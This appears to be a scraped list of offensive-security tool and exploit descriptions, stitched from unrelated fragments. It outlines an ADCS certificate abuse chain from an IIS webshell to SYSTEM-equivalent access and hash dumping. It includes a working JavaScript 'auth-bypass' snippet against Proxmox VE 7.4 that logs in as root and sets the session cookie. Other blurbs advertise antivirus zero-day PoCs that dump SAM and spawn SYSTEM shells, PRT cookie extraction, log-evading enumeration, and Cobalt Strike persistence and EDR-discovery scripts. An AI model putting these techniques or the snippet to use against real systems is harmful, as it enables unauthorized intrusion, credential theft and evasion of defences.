reconcore

A webshell under IIS AppPool\DefaultAppPool can enroll against the ADCS RPC endpoint and come back with a certificate for the host machine account. Outbound domain traffic from a virtual AppPool identity is authenticated as HOST$, so the default Machine template treats the CSR as a legitimate computer enrollment. The issued cert produces a PKINIT TGT for that machine account. S4U2Self turns it into an Administrator CIFS ticket on the same box, which is local SYSTEM-equivalent access and a path to hash dump. Potato-family impersonation is not part of the chain.

// PVE 7.4 auth-bypass @reconcore 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "RECONCORE-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

Module supports both MF and NG editions, and all supported product versions 26.x, 25.x, 24.x. Bypasses vendor emergency patch v1. Emergency patch v2 successfully remediates the chain. Module also has platform agnostic Java payload support (and that will be in-memory on 26.x targets), along with OS command based payloads.

Enumerate User and Computer Objects via SAMR Protocol and Evade SACL Logging simultaneously

GenDigital Avast Antivirus ZeroDay Elevation of Privileges Vulnerability Another zeroday in an antimalware provider, I'm not sure but I believe this vulnerability affect other GenDigital products as well (such as AVG, Norton...) For now the PoC is compatible with any version of Avast Antivirus. The PoC will dump the SAM database by abusing a vulnerability in Avast Sandbox and spawn a full SYSTEM shell, at the time of writing this the PoC works with fully patched Avast Antivirus + Patched Windows 11 25H2

Kaspersky Antivirus For Endpoint ZeroDay Elevation of Privileges Vulnerability

Extract PRT cookies remotely with InteractiveToken Scheduled Tasks

使用多种WinAPI进行权限维持的CobaltStrike脚本，包含API设置系统服务，设置计划任务，管理用户等。

Cobalt Strike Aggressor Script for identifying security products on Windows hosts — six enumeration methods rated by noise level, from silent in-process BOF to full PowerShell/WMI.

🛡 Enumerate AV, EPP, EDR, and telemetry on Windows hosts using low-noise Cobalt Strike commands for tailored risk-based assessment.